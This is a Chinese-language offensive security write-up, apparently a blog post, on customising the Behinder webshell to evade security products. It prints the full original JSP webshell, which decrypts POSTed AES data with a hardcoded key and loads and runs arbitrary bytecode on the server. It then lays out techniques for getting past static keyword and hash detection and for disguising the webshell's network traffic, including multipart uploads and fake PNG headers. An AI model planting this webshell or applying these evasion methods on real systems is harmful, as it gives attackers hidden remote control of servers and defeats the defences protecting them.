0x01 实战痛点

  • 数据传输: AES + BASE64 数据包传递,传输过程被安全设备抓取特征
  • webshell: 静态查杀,敏感关键字和敏感方法被设备查杀
  • 实战功能: 提高效率的功能,机械的操作

0x02 原理分析(JAVA-webshell为例)

[+] 原版java-webshell:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*">
    
<%!class U extends ClassLoader{
    
    U(ClassLoader c){super(c);
     //创建U类继承ClassLoader         
    }
    public Class g(byte []b){  // 自定义一个g成员方法,接受字节类型的参数
        
        return super.defineClass(b,0,b.length); // 调用父类的defineClass 动态解析字节码返回 Class 对象
    }
}%>


<%if (request.getMethod().equals("POST")){ // 实例化类调用equals方法,
    String k="1a1dc91c907325c6";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u",k); // byte[] add
    Cipher c=Cipher.getInstance("AES");    
    c.init(2,new SecretKeySpec(k.getBytes(),"AES")); // AES 解密
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);// base64编码,获取去一段bayte[],后续difineClass,获取到class,再通过newInstance()获取到类,重写equle方法,传递pageContext
}%>

[+] 客户端-代码结构:

image-20210808025703363

[+] Payload目录内容:

image-20210808024249835

[+] 修改步骤:

  • ① 添加新的加/解密类 文件名:core\Crypt.java core\Decrypt.java
  • ② 添加Payload文件夹创建新类型的功能代码 文件名:payload\new-type\.....
  • ③ 添加新的参数处理 文件名:core\Params.java
  • ④ 添加新的数据发送 文件名:Utils\Utils.java
  • ⑤ 添加新的连接逻辑 文件名:MainController.java

0x03 实战的需求

① 静态查杀的绕过:

一 关键字扫描:

  1. c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
  2. U demo = new U(this.getClass().getClassLoader());
  3. newInstance() getClassLoader() doFinal()
  • 解决方式:
      1. 类型转换,将敏感参数进行转换,避免出现关键字 strToByte uniocde
      2. 类加载模式,通过类加载配合各种编码解码
      3. java语言的特性,\u000d 实际上是一个换行符,语言识别为注释

二 固定webshell-Hash 固定webshell大小

  1. 静态原版webshell,通常情况下,hash被记录,普通杀毒会查杀

  2. 未修改密码,默认密码被当作识别特征(behinder3密码通常为任意字符串MD5的前16位)

    • 解决方式:
      1. 随机填充无用的代码或者无用注释
      2. 自定义密码添加即可
      3. 随用随生成webwhell

    [+] 实现效果:

image-20210809220332294
  • 同密码同类型webshell Hash对比:
image-20210808011134708
  • 静态查杀结果:




② 动态数据传输绕过:

  1. 2.0 存在密钥交互的特征

  2. 数据包的 Content-Type 结合数据内容

  3. 数据包的请求方式POST

    • 解决办法:

      • 修改数据交互中的数据包特征,可以配合正常网页内容特定地区加密内容

      • 修改数据返回包的数据类型,自定义解析规则

      • 修改数据传输的方式,通过multipart/form-data方式进行数据传

      • 数据包增加垃圾数据,通过特定标识符提取需要的返回值

      • 数据交互方式,简单以multipart/form-data为例子:

  • 数据传输将返回数据封装png头: